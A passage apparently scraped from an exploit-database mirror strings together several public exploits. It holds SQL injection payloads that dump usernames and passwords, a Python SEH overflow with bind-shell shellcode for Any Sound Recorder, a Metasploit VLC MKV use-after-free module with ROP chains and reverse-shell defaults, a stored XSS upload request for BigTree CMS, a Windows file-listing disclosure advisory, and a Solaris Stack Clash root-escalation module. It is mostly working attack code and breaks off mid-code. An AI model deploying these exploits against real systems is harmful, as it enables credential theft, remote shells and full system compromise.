# Software Link: https://sourceforge.net/projects/giugalleryimageupload/
# Version: 0.3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?category=[SQL]

%27++unIOn+SElect+0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c(SElect(@x)From(SElect(@x:=0x00)%20%2c(SElect(@x)From(user)WHERE(@x)IN(@x:=COncaT(0x20%2c@x%2c0x557365726e616d65203a%2cfull_name%2c0x3c62723e506173733a20%2cuser_pwd%2c0x3c62723e))))x)%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e--+-

GET /[PATH]/index.php?category=Image%20Gallery%27++unIOn+SElect+0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c(SElect(@x)From(SElect(@x:=0x00)%20%2c(SElect(@x)From(user)WHERE(@x)IN(@x:=COncaT(0x20%2c@x%2c0x557365726e616d65203a%2cfull_name%2c0x3c62723e506173733a20%2cuser_pwd%2c0x3c62723e))))x)%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 16 Oct 2018 00:23:41 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 2300
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: MV Video Sharing Software 1.2 - 'searchname' SQL Injection
# Dork: N/A
# Date: 2018-10-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://melerovideo.com/software/
# Software Link: https://sourceforge.net/projects/mvvideosharingsoftware/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/search.php
# POST /searchname=[SQL]

POST /[PATH]/search.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 404
searchname=%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2d%2d%20%45%66%65
HTTP/1.1 200 OK
Date: Tue, 16 Oct 2018 08:45:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: Any Sound Recorder 2.93 - Buffer Overflow (SEH)
# Exploit Author: Abdullah Alic
# Discovery Date: 2018-10-16
# Homepage: http://www.any-sound-recorder.com
# Software Link: http://www.any-sound-recorder.com/anysoundrecorder.exe
# Version: 2.93 
# Tested on: Windows XP Professional sp3 (ENG)
# Steps to Reproduce: Run the python exploit script, it will create a new file
# with the name "boom.txt". Copy the content of the  "boom.txt". 
# Start Any Sound Recorder 2.93 click "Enter Key Code" Paste the content into field "User Name" click "Register" 
# Connect victim machine on port 4444

#!/usr/bin/python 

#Payload size: 355 bytes
#msfvenom -p windows/shell_bind_tcp  -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xb8\x67\x21\x25\x53\xdd\xc0\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x8c\xdd\xc7"
buf += "\xa6\xae\xf6\x8a\x49\x4e\x07\xeb\xc0\xab\x36\x2b\xb6"
buf += "\xb8\x69\x9b\xbc\xec\x85\x50\x90\x04\x1d\x14\x3d\x2b"
buf += "\x96\x93\x1b\x02\x27\x8f\x58\x05\xab\xd2\x8c\xe5\x92"
buf += "\x1c\xc1\xe4\xd3\x41\x28\xb4\x8c\x0e\x9f\x28\xb8\x5b"
buf += "\x1c\xc3\xf2\x4a\x24\x30\x42\x6c\x05\xe7\xd8\x37\x85"
buf += "\x06\x0c\x4c\x8c\x10\x51\x69\x46\xab\xa1\x05\x59\x7d"
buf += "\xf8\xe6\xf6\x40\x34\x15\x06\x85\xf3\xc6\x7d\xff\x07"
buf += "\x7a\x86\xc4\x7a\xa0\x03\xde\xdd\x23\xb3\x3a\xdf\xe0"
buf += "\x22\xc9\xd3\x4d\x20\x95\xf7\x50\xe5\xae\x0c\xd8\x08"
buf += "\x60\x85\x9a\x2e\xa4\xcd\x79\x4e\xfd\xab\x2c\x6f\x1d"
buf += "\x14\x90\xd5\x56\xb9\xc5\x67\x35\xd6\x2a\x4a\xc5\x26"
buf += "\x25\xdd\xb6\x14\xea\x75\x50\x15\x63\x50\xa7\x5a\x5e"
buf += "\x24\x37\xa5\x61\x55\x1e\x62\x35\x05\x08\x43\x36\xce"
buf += "\xc8\x6c\xe3\x7b\xc0\xcb\x5c\x9e\x2d\xab\x0c\x1e\x9d"
buf += "\x44\x47\x91\xc2\x75\x68\x7b\x6b\x1d\x95\x84\x82\x82"
buf += "\x10\x62\xce\x2a\x75\x3c\x66\x89\xa2\xf5\x11\xf2\x80"
buf += "\xad\xb5\xbb\xc2\x6a\xba\x3b\xc1\xdc\x2c\xb0\x06\xd9"
buf += "\x4d\xc7\x02\x49\x1a\x50\xd8\x18\x69\xc0\xdd\x30\x19"
buf += "\x61\x4f\xdf\xd9\xec\x6c\x48\x8e\xb9\x43\x81\x5a\x54"
buf += "\xfd\x3b\x78\xa5\x9b\x04\x38\x72\x58\x8a\xc1\xf7\xe4"
buf += "\xa8\xd1\xc1\xe5\xf4\x85\x9d\xb3\xa2\x73\x58\x6a\x05"
buf += "\x2d\x32\xc1\xcf\xb9\xc3\x29\xd0\xbf\xcb\x67\xa6\x5f"
buf += "\x7d\xde\xff\x60\xb2\xb6\xf7\x19\xae\x26\xf7\xf0\x6a"
buf += "\x56\xb2\x58\xda\xff\x1b\x09\x5e\x62\x9c\xe4\x9d\x9b"
buf += "\x1f\x0c\x5e\x58\x3f\x65\x5b\x24\x87\x96\x11\x35\x62"
buf += "\x98\x86\x36\xa7"

junk = 10000 
nseh= "\xeb\x06\x90\x90" # SHORT JMP 6 bytes 
seh= "\x35\x2f\xd1\x72"  # 0x72d12f35 : pop ebx # pop ebp # ret 0x0c  FROM msacm32.drv

buffer = "\x90" * 900 + nseh + seh + buf + "\x90" * (junk-len(buf))
payload = buffer

#badchars \x00 \x0a \x0d

try:
    f=open("boom.txt","w")
    print "[+] Creating %s bytes payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VLC Media Player MKV Use After Free',
      'Description'    => %q(
          This module exploits a use after free vulnerability in
        VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
        MKV files and affects both 32 bits and 64 bits.

          In order to exploit this, this module will generate two files:
        The first .mkv file contains the main vulnerability and heap spray,
        the second .mkv file is required in order to take the vulnerable code
        path and should be placed under the same directory as the .mkv file.

          This module has been tested against VLC v2.2.8. Tested with payloads
        windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
        windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
        cause the application to crash instead.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Eugene Ng - GovTech',      # Vulnerability Discovery, Exploit
        'Winston Ho - GovTech',     # Metasploit Module
      ],
      'References'     =>
        [
          ['CVE', '2018-11529'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
          ['EDB', '44979']
        ],
      'Payload'        =>
        {
          'Space'          => 0x300,
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        => [
        [
          'VLC 2.2.8 on Windows 10 x86',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X86],
            'Ret' => 0x22000020,
            'ExitPointer' => 0x00411364,
            'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
            'RopChain' => [
              0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x00000040,             # 0x00000040-> edx
              0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
              0x22000030,             # Filler (compensate) for rol [eax] below
              0x41414141,             # Filler (compensate)
              0x004039c8,             # POP ECX # RETN [vlc.exe]
              0x0041193d,             # &Writable location [vlc.exe]
              0x00409d18,             # POP EBX # RETN [vlc.exe]
              0x00000201,             # 0x00000201-> ebx
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x004036CB,             # POP ESI # RETN [vlc.exe]
              0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
              0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
              0x22000020 + 0x5e0,     # Shellcode
            ]
          }
        ],
        [
          'VLC 2.2.8 on Windows 10 x64',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X64],
            'Ret' => 0x40000040,
            'ExitPointer' => 0x00412680,
            'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
            'RopChain' => [
              0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
              0x00403b60,             # POP RCX # RET
              0x40000040,             # lpAddress
              0x004011c2,             # POP RDX # RET
              0x00001000,             # dwSize
              0x0040ab70,             # JMP VirtualProtect
              0x40000040 + 0x700,     # Payload
            ]
          }
        ]
      ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 24 2018',
      'DefaultTarget'  => 1))

    register_options [
      OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
      OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
    ]

    deregister_options('FILENAME')
  end

  def to_bytes(num, length, endianess = 'big')
    h = format('%<num>x', num: num)
    s = ('0' * (h.length % 2) + h).rjust(length * 2)
    s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
    endianess == 'big' ?  s : s.reverse
  end

  def data_size(number, numbytes = (1...9))
    # encode 'number' as an EBML variable-size integer.
    numbytes = [numbytes] if numbytes.is_a?(Integer)
    numbytes.each do |size|
      bits = size * 7
      return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
    end
    fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
  end

  def build_data(size)
    block_size = 0x1000

    if target.arch.first == ARCH_X64
      target_address_packed = [target.ret].pack("<Q")
      rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join

      if size == 0x180
        uaf_object = "\x41" * size
        uaf_object[0x30, 8] = target_address_packed
        uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
        uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
        uaf_object[0x170, 8] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = "\x41" * 4
        block[0x8, target_address_packed.length] = target_address_packed
        block[0x10, target_address_packed.length] = target_address_packed

        block[0x40, 8] = [0x1].pack("<Q")
        block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
        block[0xE4, 8] = [0x1].pack("<Q")

        block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
        block[0x3b8, rop_chain.length] = rop_chain

        block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
        block[0x700, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    elsif target.arch.first == ARCH_X86
      target_address_packed = [target.ret].pack("<I")
      rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join

      if size == 0x100
        uaf_object = "\x41" * size
        uaf_object[0x28, 4] = target_address_packed
        uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
        uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
        uaf_object[0xf8, 4] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = [0x22000040].pack("<I")
        block[0x4, target_address_packed.length] = target_address_packed
        block[0x8, target_address_packed.length] = target_address_packed

        block[0x10, 4] = [0xc85].pack("<I")
        block[0x30, 4] = [0x1].pack("<I")
        block[0xc0, 4] = [0x1].pack("<I")

        block[0x194, 4] = [0x2200031c].pack("<I")
        block[0x2c0, 4] = [0x220002e4].pack("<I")
        block[0x2f4, 4] = [0x22000310].pack("<I")

        block[0x2f8, rop_chain.length] = rop_chain
        block[0x564, 4] = [0x22000588].pack("<I")
        block[0x5e0, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    end
  end

  def generate_mkv
    # EBML Header
    doc_type = "\x42\x82" << data_size(8) << "matroska"
    ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type

    # Seek Entries
    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x15\x49\xa9\x66"                                         # KaxInfo
    seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2                   # SeekPosition + Index of Segment info
    seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry  # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x11\x4d\x9b\x74"                                         # KaxSeekHead
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of SeekHead
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x10\x43\xa7\x70"                                         # KaxChapters
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of Chapters
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    # SeekHead
    seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries

    # Void
    void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element

    # Info
    segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
    info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid

    # Chapters
    chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
    chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
    edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
    chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry

    if target.arch.first == ARCH_X86
      size = 0x100
      count = 30
    elsif target.arch.first == ARCH_X64
      size = 0x180
      count = 60
    end

    # Attachments
    attached_files = ""
    mime = "\x46\x60" << data_size(24) << "application/octet-stream"
    data = build_data(size)
    data = "\x46\x5c" << data_size(data.length) << data
    500.times do
      uid = "\x46\xae" << data_size(8) << rand_text(8)
      file_name = "\x46\x6e" << data_size(8) << rand_text(8)
      header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)

      attached_files << header << file_name << mime << uid << data
    end
    attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files

    # Cluster
    pay_load = build_data(0xfff000)
    # Since the payload is simply repeated payload blocks appended to cluster then segment_data,
    # we return the simple_block and the count to process later instead.
    # This should result is overall lowered memory usage during payload generation
    simple_block = "\xa3" << data_size(pay_load.length) << pay_load
    simple_blocks_len = simple_block.length * count
    time_code = "\xe7" << data_size(1) << "\x00"
    cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code

    # Concatenate everything
    segment_data = seek_head << void << info << chapters << attachments << cluster
    segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
    mkv = ebml << segment

    return mkv, simple_block, count
  end

  def exploit
    mkv1, simple_block, count = generate_mkv
    mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)

    tmpname = rand_text_alpha_lower(3..8)
    f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
    f1 << '.mkv' unless f1.downcase.end_with?('.mkv')

    f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
    f2 << '.mkv' unless f2.downcase.end_with?('.mkv')

    file_format_filename(f1)
    file_create(mkv1)
    print_status("Created #{f1}. Target should open this file")

    file_format_filename(f2)
    file_create(mkv2)
    print_status("Created #{f2}. Put this file in the same directory as #{f1}")

    print_status("Appending blocks to #{f1}")
    path = File.join(Msf::Config.local_directory, f1)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'ab') do |fd|
      count.times { fd.write(simple_block) }
    end
    print_good("Succesfully appended blocks to #{f1}")
  end

  def file_format_filename(name = '')
    name.empty? ? @fname : @fname = name
  end
end
HireHackking 
# Exploit Title: BigTree CMS 4.2.23 - Cross-Site Scripting
# Date: 2018-10-15 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.bigtreecms.org/
# Software Link : https://github.com/bigtreecms/BigTree-CMS/
# Software : BigTree CMS
# Version : 4.2.23
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2018-18308

# In the 4.2.23 version of BigTree, a Stored XSS vulnerability has been discovered 
# in /admin/ajax/file-browser/upload/ (aka the image upload area).
 
# HTTP POST Request :

POST /admin/ajax/file-browser/upload/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/pages/add/0/
Content-Type: multipart/form-data; boundary=---------------------------15148507251045999311737722822
Content-Length: 1574699
Cookie: __utma=242042641.1054742390.1539547796.1539547796.1539547796.1; __utmb=242042641.6.10.1539547796; __utmc=242042641; __utmz=242042641.1539547796.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); PHPSESSID=fat2c61gglprnotletf1mobnui; hide_bigtree_bar=; bigtree_admin[email]=test%40ismailtasdelen.me; bigtree_admin[login]=%5B%22session-5bc3a4ae5b8016.12355027%22%2C%22chain-5bc3a4ae5b7966.37991866%22%5D; bigtree_admin%5Bpage_properties_open%5D=on
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="__csrf_token_B2FHVMV815XHACWV8RVV2BTX1EH1YEH6__"

tNvtUi8PU/IDcrgxj1t/Uv/1ciYeF7AudslXD429hkQ=
-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="folder"

0
-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="files[]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg
HireHackking 
Windows: FSCTL_FIND_FILES_BY_SID Information Disclosure
Platform: Windows 10 (1709, 1803)
Class: Information Disclosure / Elevation of Privilege

Summary: The FSCTL_FIND_FILES_BY_SID control code doesn’t check for permissions to list a directory leading to disclosure of file names when a user is not granted FILE_LIST_DIRECTORY access.

Description: The FSCTL_FIND_FILES_BY_SID is documented to return a list of files in a directory for a specific owner. This only works when Quotas are tracked on the device which isn’t a default configuration, but could be common especially on shared terminal servers. The FSCTL code is specified for FILE_ANY_ACCESS so it’s possible to issue it for any handle on a directory regardless of the access granted, including SYNCHRONIZE. 

At least when run on an NTFS volume no check seems to occur later in the process to ensure the caller would have some sort of access to the directory which would grant them the ability to list the directory. This allows a less privileged attacker to list the file names in a directory which they’ve been granted some access, but not FILE_LIST_DIRECTORY access. A good example of such a directory on a standard installation is the Windows\Temp folder, which grants creation access to BUILTIN\Users but not the ability to list the files. This is used in part as a security measure to allow system services to create files and folders in that directory which a normal user can’t easily list. 

Proof of Concept:

I’ve provided a PoC as a C# project. It will take a path to a directory (which must be on a quota tracking volume), open that directory for Synchronize access and then list files belonging to the current owner. I have tested querying other user SIDs such as BUILTIN\Administrator so it’s not some bypass due to the current user. Note that this just simulates the behavior by only opening for Synchronize access, but I have also tested it works on directories where the user hasn’t been granted FILE_LIST_DIRECTORY.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Ensure the volume has quota tracking enabled. You can enable it from the command line with ‘fsutil quota track X:’ as an administrator.
3) Run the poc, passing the path to a directory on the volume containing files owned by the current user.

Expected Result:
An error should be returned indicating the user can’t access the directory.

Observed Result:
The files owned by the user are listed to the console.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45624.zip
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Solaris::Priv
  include Msf::Post::Solaris::System
  include Msf::Post::Solaris::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Solaris RSH Stack Clash Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in RSH on unpatched Solaris
        systems which allows users to gain root privileges.

        The stack guard page on unpatched Solaris systems is of
        insufficient size to prevent collisions between the stack
        and heap memory, aka Stack Clash.

        This module uploads and executes Qualys' Solaris_rsh.c exploit,
        which exploits a vulnerability in RSH to bypass the stack guard
        page to write to the stack and create a SUID root shell.

        This module has offsets for Solaris versions 11.1 (x86) and
        Solaris 11.3 (x86).

        Exploitation will usually complete within a few minutes using
        the default number of worker threads (10). Occasionally,
        exploitation will fail. If the target system is vulnerable,
        usually re-running the exploit will be successful.

        This module has been tested successfully on Solaris 11.1 (x86)
        and Solaris 11.3 (x86).
      },
      'References'     =>
        [
          ['BID', '99151'],
          ['BID', '99153'],
          ['CVE', '2017-1000364'],
          ['CVE', '2017-3629'],
          ['CVE', '2017-3630'],
          ['CVE', '2017-3631'],
          ['EDB', '42270'],
          ['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
          ['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
          ['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
        ],
      'Notes'          => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
          'Brendan Coles'       # Metasploit
        ],
      'DisclosureDate' => 'Jun 19 2017',
      'Privileged'     => true,
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        =>
        [
          ['Automatic', {}],
          ['Solaris 11.1', {}],
          ['Solaris 11.3', {}]
        ],
      'DefaultOptions' =>
        {
          'PAYLOAD'     => 'cmd/unix/bind_netcat',
          'WfsDelay'    => 10,
          'PrependFork' => true
        },
      'DefaultTarget'  => 0))
    register_options [
      OptInt.new('WORKERS', [true, 'Number of workers', '10']),
      OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def rsh_path
    datastore['RSH_PATH']
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
  end

  def symlink(link_target, link_name)
    print_status "Symlinking #{link_target} to #{link_name}"
    rm_f link_name
    cmd_exec "ln -sf #{link_target} #{link_name}"
    register_file_for_cleanup link_name
  end

  def check
    unless setuid? rsh_path
      vprint_error "#{rsh_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{rsh_path} is setuid"

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    version = kernel_version
    if version.to_s.eql? ''
      vprint_error 'Could not determine Solaris version'
      return CheckCode::Detected
    end

    unless ['11.1', '11.3'].include? version
      vprint_error "Solaris version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Solaris version #{version} appears to be vulnerable"

    CheckCode::Detected
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    if target.name.eql? 'Automatic'
      case kernel_version
      when '11.1'
        my_target = targets[1]
        arg = 0
      when '11.3'
        my_target = targets[2]
        arg = 1
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    mkdir base_path

    # Solaris_rsh.c by Qualys
    # modified for Metasploit
    workers = datastore['WORKERS'].to_i
    root_shell = 'ROOT'
    shellcode = '\x31\xc0\x50\x68'
    shellcode << root_shell
    shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
    shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
    shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
    exp = <<-EOF
/*
 * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \\
    do { \\
        (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
        (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
        if ((result)->tv_usec < 0) { \\
            --(result)->tv_sec; \\
            (result)->tv_usec += 1000000; \\
        } \\
    } while (0)
#endif

#define RSH "#{rsh_path}"
static const struct target * target;
static const struct target {
    const char * name;
    size_t s_first, s_last, s_step;
    size_t l_first, l_last, l_step;
    size_t p_first, p_last, p_step;
    size_t a, b;
    size_t i, j;
}
targets[] = {
    {
        .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
        .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 192,     .l_last = 512,     .l_step = 16,
        .p_first = 0,       .p_last = 8192,    .p_step = 1,
        .a = 0,             .b = 15,           .j = 12,
        .i = 0x08052608 /* pop edx; pop ebp; ret */
    },
    {
        .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
        .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 96,      .l_last = 512,     .l_step = 4,
        .p_first = 0,       .p_last = 4096,    .p_step = 4,
        .a = 0,             .b = 3,            .j = SIZE_MAX,
